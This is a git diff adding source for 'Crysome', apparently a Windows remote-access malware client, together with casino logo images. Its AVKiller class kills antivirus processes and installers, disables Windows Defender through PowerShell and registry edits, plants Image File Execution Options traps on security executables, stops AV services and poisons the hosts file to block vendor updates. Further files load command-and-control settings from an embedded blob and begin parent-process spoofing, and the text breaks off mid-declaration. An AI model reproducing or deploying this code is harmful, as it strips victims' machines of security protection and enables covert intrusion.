a/CRYSOME_COMPILED/inventory/casinos/betway.png b/CRYSOME_COMPILED/inventory/casinos/betway.png new file mode 100644 index 0000000..cc76310 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/casinos/betway.png differ diff --git a/CRYSOME_COMPILED/inventory/casinos/bovada.png b/CRYSOME_COMPILED/inventory/casinos/bovada.png new file mode 100644 index 0000000..1892cd8 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/casinos/bovada.png differ diff --git a/CRYSOME_COMPILED/inventory/casinos/caesars.png b/CRYSOME_COMPILED/inventory/casinos/caesars.png new file mode 100644 index 0000000..7157ac5 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/casinos/caesars.png differ diff --git a/CRYSOME_COMPILED/inventory/casinos/casumo.png b/CRYSOME_COMPILED/inventory/casinos/casumo.png new file mode 100644 index 0000000..940196c Binary files /dev/null and b/CRYSOME_COMPILED/inventory/casinos/casumo.png differ diff --git a/CRYSOME_COMPILED/inventory/casinos/draftkings.png b/CRYSOME_COMPILED/inventory/casinos/draftkings.png new file mode 100644 index 0000000..53419b1 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/casinos/draftkings.png differ diff --git a/CRYSOME_COMPILED/inventory/casinos/fanduel.png b/CRYSOME_COMPILED/inventory/casinos/fanduel.png new file mode 100644 index 0000000..455f293 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/casinos/fanduel.png differ diff --git a/CRYSOME_COMPILED/inventory/casinos/ignitioncasino.png b/CRYSOME_COMPILED/inventory/casinos/ignitioncasino.png new file mode 100644 index 0000000..01acb4f Binary files /dev/null and b/CRYSOME_COMPILED/inventory/casinos/ignitioncasino.png differ diff --git a/CRYSOME_COMPILED/inventory/casinos/jackpot_city.png b/CRYSOME_COMPILED/inventory/casinos/jackpot_city.png new file mode 100644 index 0000000..fad13dd Binary files /dev/null and b/CRYSOME_COMPILED/inventory/casinos/jackpot_city.png differ diff --git a/CRYSOME_COMPILED/inventory/casinos/leovegas.png b/CRYSOME_COMPILED/inventory/casinos/leovegas.png new file mode 100644 index 0000000..0918ec7 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/casinos/leovegas.png differ diff --git a/CRYSOME_COMPILED/inventory/casinos/lucky_nugget.png b/CRYSOME_COMPILED/inventory/casinos/lucky_nugget.png new file mode 100644 index 0000000..a280f55 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/casinos/lucky_nugget.png differ diff --git a/CRYSOME_COMPILED/inventory/casinos/partycasino.png b/CRYSOME_COMPILED/inventory/casinos/partycasino.png new file mode 100644 index 0000000..90f2c34 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/casinos/partycasino.png differ diff --git a/CRYSOME_COMPILED/inventory/casinos/pokerstars.png b/CRYSOME_COMPILED/inventory/casinos/pokerstars.png new file mode 100644 index 0000000..33b5bdb Binary files /dev/null and b/CRYSOME_COMPILED/inventory/casinos/pokerstars.png differ diff --git a/CRYSOME_COMPILED/inventory/casinos/ruby_fortune.png b/CRYSOME_COMPILED/inventory/casinos/ruby_fortune.png new file mode 100644 index 0000000..611f4b6 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/casinos/ruby_fortune.png differ diff --git a/CRYSOME_COMPILED/inventory/casinos/spin_casino.png b/CRYSOME_COMPILED/inventory/casinos/spin_casino.png new file mode 100644 index 0000000..1bfd5bc Binary files /dev/null and b/CRYSOME_COMPILED/inventory/casinos/spin_casino.png differ diff --git a/CRYSOME_COMPILED/inventory/casinos/unibet.png b/CRYSOME_COMPILED/inventory/casinos/unibet.png new file mode 100644 index 0000000..e6bdb2e Binary files /dev/null and b/CRYSOME_COMPILED/inventory/casinos/unibet.png differ diff --git a/CRYSOME_COMPILED/inventory/casinos/william_hill.png b/CRYSOME_COMPILED/inventory/casinos/william_hill.png new file mode 100644 index 0000000..dd1d763 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/casinos/william_hill.png differ diff --git a/Crysome.Client/Crysome.Client.Configuration/AVKiller.cs b/Crysome.Client/Crysome.Client.Configuration/AVKiller.cs new file mode 100644 index 0000000..3ecfa7c --- /dev/null +++ b/Crysome.Client/Crysome.Client.Configuration/AVKiller.cs @@ -0,0 +1,435 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Management; +using System.Runtime.InteropServices; +using System.Threading.Tasks; + +namespace Crysome.Client.Configuration; + +public static class AVKiller +{ + private struct LUID + { + public uint LowPart; + + public int HighPart; + } + + private struct TOKEN_PRIVILEGES + { + public int PrivilegeCount; + + public LUID Luid; + + public int Attributes; + } + + private static volatile bool _running; + + private static readonly HashSet AVProcs = new HashSet(StringComparer.OrdinalIgnoreCase) + { + "MsMpEng", "MpCmdRun", "MsASCuIL", "SecurityHealthService", "SecurityHealthHost", "SecurityHealthSystray", "ConfigSecurityPolicy", "NisSrv", "NortonSecurity", "navapsvc", + "nsWscSvc", "NProtect", "ccSvcHst", "SymCorpUI", "McShield", "McUICnt", "mfemms", "mfevtps", "masvc", "McAPExe", + "MMSSHOST", "ModuleCoreService", "avp", "avpui", "kavfs", "kavfsgt", "klnagent", "bdagent", "vsserv", "bdservicehost", + "bdntwrk", "updatesrv", "seccenter", "bdredline", "ProductAgentService", "AvastSvc", "AvastUI", "aswidsagent", "afwServ", "aswToolsSvc", + "aswEngSrv", "avgnt", "avguard", "AVGSvc", "AVGUI", "avgidsagent", "ekrn", "egui", "EsetService", "EHttpSrv", + "MBAMService", "mbamtray", "mbam", "MBAMWsc", "PccNTMon", "TmListen", "ntrtscan", "tmbmsrv", "TmProxy", "coreServiceShell", + "SAVAdminService", "SavService", "SophosHealth", "SophosCleanM", "SophosFileScanner", "SophosFS", "fshoster", "FSMA32", "fsaua", "fsorsp", + "cmdagent", "CisTray", "cavwp", "PSANHost", "PSUAMain", "PSUAService", "WRSA", "WRCoreService", "a2service", "a2guard", + "a2start", "ZoneAlarm", "vsmon", "zlclient", "CSFalconService", "csagent", "CSFalconContainer", "SentinelAgent", "SentinelServiceHost", "SentinelStaticEngine", + "SentinelHelperService", "CylanceSvc", "CylanceUI", "RepMgr", "CbDefense", "CbDefenseSensor", "dwengine", "dwservice", "SpIDerAgent", "dwarkdaemon", + "Avira.ServiceHost", "avshadow", "Avira.SystrayStartTrigger", "GDScan", "AVKService", "SCANMAIN", "BDSS", "SBAMSvc", "BullGuardBhvProcessing", "BullGuardScanner", + "BullGuardUpdate", "360Tray", "360sd", "ZhuDongFangYu" + }; + + private static readonly string[] AVKeywords = new string[42] + { + "norton", "symantec", "mcafee", "kaspersky", "bitdefender", "avast", "avg antivirus", "eset", "nod32", "malwarebytes", + "trend micro", "trendmicro", "sophos", "f-secure", "comodo", "panda security", "webroot", "emsisoft", "zonealarm", "crowdstrike", + "sentinelone", "sentinel one", "cylance", "carbon black", "carbonblack", "bullguard", "vipre", "quick heal", "quickheal", "dr.web", + "drweb", "avira", "g data", "gdata", "360 total security", "360totalsecurity", "antivirus", "anti-virus", "endpoint protection", "internet security", + "total security", "windows defender" + }; + + private static readonly string[] AVServices = new string[41] + { + "WinDefend", "WdNisSvc", "SecurityHealthService", "wscsvc", "Sense", "McShield", "masvc", "mfemms", "mfevtp", "HomeNetSvc", + "McProxy", "McODS", "AVP", "kavfsgt", "klnagent", "VSSERV", "EPSecurityService", "EPUpdateService", "EPIntegrationService", "avast! Antivirus", + "AvastWscReporter", "aswbIDSAgent", "avast! Firewall", "avgwd", "AVGSvc", "ekrn", "EsetService", "MBAMService", "ntrtscan", "TmListen", + "tmbmsrv", "TmProxy", "SAVAdminService", "SAVService", "Sophos MCS Agent", "cmdAgent", "CSFalconService", "SentinelAgent", "SentinelStaticEngine", "CylanceSvc", + "CbDefense" + }; + + private static readonly string[] IFEOTargets = new string[34] + { + "avp.exe", "avpui.exe", "ekrn.exe", "egui.exe", "bdagent.exe", "vsserv.exe", "bdservicehost.exe", "AvastSvc.exe", "AvastUI.exe", "afwServ.exe", + "AVGSvc.exe", "AVGUI.exe", "MBAMService.exe", "mbamtray.exe", "SavService.exe", "SAVAdminService.exe", "CylanceSvc.exe", "CylanceUI.exe", "WRSA.exe", "WRCoreService.exe", + "a2service.exe", "a2guard.exe", "CSFalconService.exe", "csagent.exe", "SentinelAgent.exe", "SentinelServiceHost.exe", "NortonSecurity.exe", "ccSvcHst.exe", "McShield.exe", "masvc.exe", + "fshoster.exe", "FSMA32.exe", "PSANHost.exe", "PSUAMain.exe" + }; + + private static readonly string[] AVUpdateDomains = new string[33] + { + "update.nai.com", "download.mcafee.com", "vs.mcafee.com", "update.avg.com", "download.avg.com", "update.avast.com", "download.avast.com", "iavs9x.u.avast.com", "dnl-01.geo.kaspersky.com", "dnl-02.geo.kaspersky.com", + "downloads.kaspersky-labs.com", "update.eset.com", "download.eset.com", "download.bitdefender.com", "upgrade.bitdefender.com", "nimbus.bitdefender.net", "download.sophos.com", "dci.sophosupd.com", "sophosupdate.sophos.com", "mb3-download.malwarebytes.com", + "downloads.malwarebytes.com", "data-cdn.mbamupdates.com", "definitions.symantec.com", "liveupdate.symantec.com", "symantecliveupdate.com", "update.trendmicro.com", "download.trendmicro.com", "download.f-secure.com", "guts2.f-secure.com", "update.drweb.com", + "download.drweb.com", "update.avira.com", "install.avira-update.com" + }; + + public static void Start() + { + if (!_running) + { + _running = true; + Task.Factory.StartNew(MainLoop, TaskCreationOptions.LongRunning); + } + } + + public static void Stop() + { + _running = false; + } + + private static async void MainLoop() + { + Program.Log("AVKiller: active"); + await Task.WhenAll(Task.Run(delegate + { + try + { + NeutralizeDefender(); + } + catch + { + } + }), Task.Run(delegate + { + try + { + SetIFEOTraps(); + } + catch + { + } + }), Task.Run(delegate + { + try + { + DisableAVServices(); + } + catch + { + } + }), Task.Run(delegate + { + try + { + PoisonHostsFile(); + } + catch + { + } + })).ConfigureAwait(continueOnCapturedContext: false); + Program.Log("AVKiller: hardening done"); + while (_running) + { + try + { + await Task.WhenAll(Task.Run(delegate + { + ScanAndKillProcesses(); + }), Task.Run(delegate + { + InterceptInstallers(); + })).ConfigureAwait(continueOnCapturedContext: false); + } + catch (Exception ex) + { + Program.Log("AVKiller loop: " + ex.Message); + } + await Task.Delay(2000).ConfigureAwait(continueOnCapturedContext: false); + } + } + + private static void ScanAndKillProcesses() + { + Process[] processes; + try + { + processes = Process.GetProcesses(); + } + catch + { + return; + } + Parallel.ForEach(processes, delegate(Process proc) + { + try + { + if (AVProcs.Contains(proc.ProcessName)) + { + proc.Kill(); + Program.Log("AVKiller: killed " + proc.ProcessName + " pid=" + proc.Id); + } + } + catch + { + } + finally + { + try + { + proc.Dispose(); + } + catch + { + } + } + }); + } + + private static void InterceptInstallers() + { + Process[] processes; + try + { + processes = Process.GetProcesses(); + } + catch + { + return; + } + Parallel.ForEach(processes, delegate(Process proc) + { + try + { + string text = proc.ProcessName.ToLowerInvariant(); + if (text == "msiexec" || text.Contains("setup") || text.Contains("install")) + { + string commandLine = GetCommandLine(proc.Id); + string text2 = null; + try + { + text2 = proc.MainModule?.FileName; + } + catch + { + } + if (ContainsAVKeyword((commandLine + " " + text2).ToLowerInvariant())) + { + proc.Kill(); + Program.Log("AVKiller: blocked installer " + proc.ProcessName + " pid=" + proc.Id); + KillProcessTree(proc.Id); + } + } + } + catch + { + } + finally + { + try + { + proc.Dispose(); + } + catch + { + } + } + }); + } + + private static bool ContainsAVKeyword(string text) + { + for (int i = 0; i < AVKeywords.Length; i++) + { + if (text.IndexOf(AVKeywords[i], StringComparison.OrdinalIgnoreCase) >= 0) + { + return true; + } + } + return false; + } + + private static string GetCommandLine(int pid) + { + try + { + using ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT CommandLine FROM Win32_Process WHERE ProcessId=" + pid); + using ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get(); + using ManagementObjectCollection.ManagementObjectEnumerator managementObjectEnumerator = managementObjectCollection.GetEnumerator(); + if (managementObjectEnumerator.MoveNext()) + { + return ((ManagementObject)managementObjectEnumerator.Current)["CommandLine"]?.ToString(); + } + } + catch + { + } + return null; + } + + private static void KillProcessTree(int parentPid) + { + try + { + using ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT ProcessId FROM Win32_Process WHERE ParentProcessId=" + parentPid); + using ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get(); + foreach (ManagementObject item in managementObjectCollection) + { + int num = Convert.ToInt32(item["ProcessId"]); + KillProcessTree(num); + try + { + Process.GetProcessById(num).Kill(); + } + catch + { + } + } + } + catch + { + } + } + + private static void NeutralizeDefender() + { + ExecAsync("powershell", "-EP Bypass -Command \"Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableScriptScanning $true -DisableBlockAtFirstSeen $true\"").Wait(); + List list = new List(); + string[] array = new string[8] { "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\" /v DisableAntiSpyware /t REG_DWORD /d 1 /f", "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f", "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f", "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f", "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f", "\"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Features\" /v TamperProtection /t REG_DWORD /d 0 /f", "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Spynet\" /v SpyNetReporting /t REG_DWORD /d 0 /f", "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Spynet\" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f" }; + foreach (string text in array) + { + list.Add(ExecAsync("reg", "add " + text)); + } + list.Add(ExecAsync("schtasks", "/Change /TN \"Microsoft\\Windows\\Windows Defender\\Windows Defender Scheduled Scan\" /Disable")); + list.Add(ExecAsync("schtasks", "/Change /TN \"Microsoft\\Windows\\Windows Defender\\Windows Defender Cache Maintenance\" /Disable")); + list.Add(ExecAsync("schtasks", "/Change /TN \"Microsoft\\Windows\\Windows Defender\\Windows Defender Verification\" /Disable")); + Task.WaitAll(list.ToArray()); + } + + private static void SetIFEOTraps() + { + Task[] array = new Task[IFEOTargets.Length]; + for (int i = 0; i < IFEOTargets.Length; i++) + { + array[i] = ExecAsync("reg", "add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + IFEOTargets[i] + "\" /v Debugger /t REG_SZ /d \"cmd.exe /c echo\" /f"); + } + Task.WaitAll(array); + } + + private static void DisableAVServices() + { + EnableDebugPrivilege(); + string[] aVServices = AVServices; + foreach (string text in aVServices) + { + try + { + Process.Start(new ProcessStartInfo("sc.exe", "stop \"" + text + "\"") + { + UseShellExecute = false, + CreateNoWindow = true, + WindowStyle = ProcessWindowStyle.Hidden + }); + Process.Start(new ProcessStartInfo("sc.exe", "config \"" + text + "\" start= disabled") + { + UseShellExecute = false, + CreateNoWindow = true, + WindowStyle = ProcessWindowStyle.Hidden + }); + Process.Start(new ProcessStartInfo("net.exe", "stop \"" + text + "\" /y") + { + UseShellExecute = false, + CreateNoWindow = true, + WindowStyle = ProcessWindowStyle.Hidden + }); + } + catch + { + } + } + } + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool OpenProcessToken(IntPtr ProcessHandle, int DesiredAccess, out IntPtr TokenHandle); + + [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] + private static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, int BufferLength, IntPtr PreviousState, IntPtr ReturnLength); + + [DllImport("kernel32.dll")] + private static extern IntPtr GetCurrentProcess(); + + [DllImport("kernel32.dll")] + private static extern bool CloseHandle(IntPtr hObject); + + private static void EnableDebugPrivilege() + { + try + { + if (OpenProcessToken(GetCurrentProcess(), 40, out var TokenHandle)) + { + TOKEN_PRIVILEGES NewState = default(TOKEN_PRIVILEGES); + NewState.PrivilegeCount = 1; + NewState.Attributes = 2; + if (LookupPrivilegeValue(null, "SeDebugPrivilege", out NewState.Luid)) + { + AdjustTokenPrivileges(TokenHandle, DisableAllPrivileges: false, ref NewState, 0, IntPtr.Zero, IntPtr.Zero); + } + CloseHandle(TokenHandle); + } + } + catch + { + } + } + + private static void PoisonHostsFile() + { + try + { + string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "drivers", "etc", "hosts"); + if (!(File.Exists(path) ? File.ReadAllText(path) : "").Contains("# avk-block")) + { + string text = Environment.NewLine + "# avk-block" + Environment.NewLine; + string[] aVUpdateDomains = AVUpdateDomains; + foreach (string text2 in aVUpdateDomains) + { + text = text + "0.0.0.0 " + text2 + Environment.NewLine; + } + File.AppendAllText(path, text); + Program.Log("AVKiller: hosts file poisoned"); + } + } + catch + { + } + } + + private static Task ExecAsync(string exe, string args) + { + return Task.Run(delegate + { + try + { + using Process process = Process.Start(new ProcessStartInfo(exe, args) + { + CreateNoWindow = true, + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = false, + RedirectStandardOutput = true, + RedirectStandardError = true + }); + process?.WaitForExit(8000); + } + catch + { + } + }); + } +} diff --git a/Crysome.Client/Crysome.Client.Configuration/ClientConfiguration.cs b/Crysome.Client/Crysome.Client.Configuration/ClientConfiguration.cs new file mode 100644 index 0000000..b9d376e --- /dev/null +++ b/Crysome.Client/Crysome.Client.Configuration/ClientConfiguration.cs @@ -0,0 +1,317 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Reflection; +using System.Text; + +namespace Crysome.Client.Configuration; + +public static class ClientConfiguration +{ + public static string Identifier = "Crysome-01"; + + public static string Host = "127.0.0.1"; + + public static int Port = 7777; + + public static string Group = ""; + + public static bool Persistence = false; + + public static string ParentSpoof = ""; + + public static HashSet EnabledFeatures = null; + + private const string EmbeddedMarker = "##CRYCFG##"; + + private const char PaddingChar = '\u0001'; + + internal static string EmbeddedConfig = "##CRYCFG##\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001"; + + private const string TailMarker = "##CRYCONFIG##"; + + private static bool? _isHollowed = null; + + public static bool IsHollowed + { + get + { + if (_isHollowed.HasValue) + { + return _isHollowed.Value; + } + try + { + string location = Assembly.GetExecutingAssembly().Location; + if (string.IsNullOrEmpty(location)) + { + _isHollowed = true; + return true; + } + string name = Assembly.GetExecutingAssembly().GetName().Name; + bool flag = Path.GetFileNameWithoutExtension(location).Equals(name, StringComparison.OrdinalIgnoreCase); + _isHollowed = !flag; + return _isHollowed.Value; + } + catch + { + _isHollowed = true; + return true; + } + } + } + + public static string GetProcessPath() + { + if (!IsHollowed) + { + try + { + string location = Assembly.GetExecutingAssembly().Location; + if (!string.IsNullOrEmpty(location) && File.Exists(location)) + { + return location; + } + } + catch + { + } + } + try + { + string text = Process.GetCurrentProcess().MainModule?.FileName; + if (!string.IsNullOrEmpty(text) && File.Exists(text)) + { + return text; + } + } + catch + { + } + try + { + string[] commandLineArgs = Environment.GetCommandLineArgs(); + if (commandLineArgs != null && commandLineArgs.Length != 0 && !string.IsNullOrEmpty(commandLineArgs[0]) && File.Exists(commandLineArgs[0])) + { + return commandLineArgs[0]; + } + } + catch + { + } + return null; + } + + public static void Init() + { + if (!TryLoadFromEmbedded() && !TryLoadFromExeTail()) + { + TryLoadFromJsonFile(); + } + } + + private static bool TryLoadFromEmbedded() + { + try + { + string embeddedConfig = EmbeddedConfig; + if (string.IsNullOrEmpty(embeddedConfig) || !embeddedConfig.StartsWith("##CRYCFG##")) + { + return false; + } + string text = embeddedConfig.Substring("##CRYCFG##".Length).TrimEnd('\u0001', '\0'); + if (string.IsNullOrWhiteSpace(text)) + { + return false; + } + Program.Log("Config found in embedded blob"); + ParseJson(text); + return true; + } + catch (Exception ex) + { + Program.Log("Embedded config error: " + ex.Message); + return false; + } + } + + private static bool TryLoadFromExeTail() + { + if (IsHollowed) + { + return false; + } + try + { + string processPath = GetProcessPath(); + if (string.IsNullOrEmpty(processPath) || !File.Exists(processPath)) + { + return false; + } + byte[] array = File.ReadAllBytes(processPath); + string text = Encoding.UTF8.GetString(array, Math.Max(0, array.Length - 1024), Math.Min(1024, array.Length)); + int num = text.IndexOf("##CRYCONFIG##", StringComparison.Ordinal); + if (num < 0) + { + return false; + } + string json = text.Substring(num + "##CRYCONFIG##".Length); + Program.Log("Config found in exe tail"); + ParseJson(json); + return true; + } + catch (Exception ex) + { + Program.Log("Exe tail config error: " + ex.Message); + return false; + } + } + + private static void TryLoadFromJsonFile() + { + string processPath = GetProcessPath(); + string text = null; + try + { + text = Path.GetFileNameWithoutExtension(processPath); + } + catch + { + } + string[] array = new string[3] + { + AppDomain.CurrentDomain.BaseDirectory, + Path.GetDirectoryName(processPath), + Environment.CurrentDirectory + }; + foreach (string text2 in array) + { + if (string.IsNullOrEmpty(text2)) + { + continue; + } + try + { + string text3 = Path.Combine(text2, "config.json"); + if (File.Exists(text3)) + { + Program.Log("Loading config.json: " + text3); + ParseJson(File.ReadAllText(text3)); + return; + } + if (!string.IsNullOrEmpty(text)) + { + string text4 = Path.Combine(text2, text + ".config.json"); + if (File.Exists(text4)) + { + Program.Log("Loading alt config: " + text4); + ParseJson(File.ReadAllText(text4)); + return; + } + } + } + catch (Exception ex) + { + Program.Log("Config json error: " + ex.Message); + } + } + Program.Log("No config found, using defaults (127.0.0.1:7777)"); + } + + private static void ParseJson(string json) + { + string text = Extract(json, "host"); + string s = Extract(json, "port"); + string text2 = Extract(json, "group"); + string text3 = Extract(json, "persistence"); + string text4 = Extract(json, "feat"); + string text5 = Extract(json, "parent"); + if (!string.IsNullOrEmpty(text)) + { + Host = text; + } + if (int.TryParse(s, out var result) && result > 0 && result <= 65535) + { + Port = result; + } + if (!string.IsNullOrEmpty(text2)) + { + Group = text2; + } + if (!string.IsNullOrEmpty(text3) && text3.ToLower() == "true") + { + Persistence = true; + } + if (!string.IsNullOrEmpty(text5)) + { + ParentSpoof = text5.Trim().ToLowerInvariant(); + } + if (!string.IsNullOrEmpty(text4)) + { + EnabledFeatures = new HashSet(StringComparer.OrdinalIgnoreCase); + string[] array = text4.Split(new char[2] { ',', ';' }, StringSplitOptions.RemoveEmptyEntries); + foreach (string text6 in array) + { + EnabledFeatures.Add(text6.Trim()); + } + } + Program.Log("Config: Host=" + Host + " Port=" + Port + " Group=" + Group); + } + + public static bool IsFeatureEnabled(string key) + { + if (EnabledFeatures == null) + { + return true; + } + return EnabledFeatures.Contains(key); + } + + private static string Extract(string json, string key) + { + string value = "\"" + key + "\""; + int num = json.IndexOf(value, StringComparison.OrdinalIgnoreCase); + if (num < 0) + { + return null; + } + num = json.IndexOf(':', num); + if (num < 0) + { + return null; + } + for (num++; num < json.Length && char.IsWhiteSpace(json[num]); num++) + { + } + if (num >= json.Length) + { + return null; + } + if (json[num] == '"') + { + num++; + int i = num; + bool flag = false; + for (; i < json.Length; i++) + { + if (json[i] == '\\') + { + flag = !flag; + continue; + } + if (json[i] == '"' && !flag) + { + break; + } + flag = false; + } + return json.Substring(num, i - num); + } + int j; + for (j = num; j < json.Length && json[j] != ',' && json[j] != '}' && !char.IsWhiteSpace(json[j]); j++) + { + } + return json.Substring(num, j - num); + } +} diff --git a/Crysome.Client/Crysome.Client.Configuration/ParentSpoof.cs b/Crysome.Client/Crysome.Client.Configuration/ParentSpoof.cs new file mode 100644 index 0000000..c1bdb66 --- /dev/null +++ b/Crysome.Client/Crysome.Client.Configuration/ParentSpoof.cs @@ -0,0 +1,269 @@ +using System; +using System.Diagnostics; +using System.Runtime.InteropServices; + +namespace Crysome.Client.Configuration; + +public static class ParentSpoof +{ + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + private struct STARTUPINFOEX + { + public STARTUPINFO StartupInfo; + + public IntPtr lpAttributeList; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + private struct STARTUPINFO + { + public int cb; + + public string lpReserved; + + public string lpDesktop; + + public string lpTitle; + + public int dwX; + + public int dwY; + + public int dwXSize; + + public int dwYSize; + + public int dwXCountChars; + + public int dwYCountChars; + + public int dwFillAttribute; + + public int dwFlags; + + public short wShowWindow; + + public short cbReserved2; + + public IntPtr lpReserved2; + + public IntPtr hStdInput; + + public IntPtr hStdOutput; + + public IntPtr hStdError; + } + + private struct PROCESS_INFORMATION + { + public IntPtr hProcess; + + public IntPtr hThread; + + public int dwProcessId; + + public int dwThreadId; + } + + private struct LUID + { + public uint LowPart; + + public int HighPart; + } + + private struct TOKEN_PRIVILEGES + { + public int PrivilegeCount; + + public LUID Luid; + + public int Attributes; + } + + private const uint EXTENDED_STARTUPINFO_PRESENT = 524288u; + + private const uint CREATE_NO_WINDOW = 134217728u; + + private const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 131072; + + private const uint PROCESS_CREATE_PROCESS = 128u; + + private const int SE_PRIVILEGE_ENABLED = 2; + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION 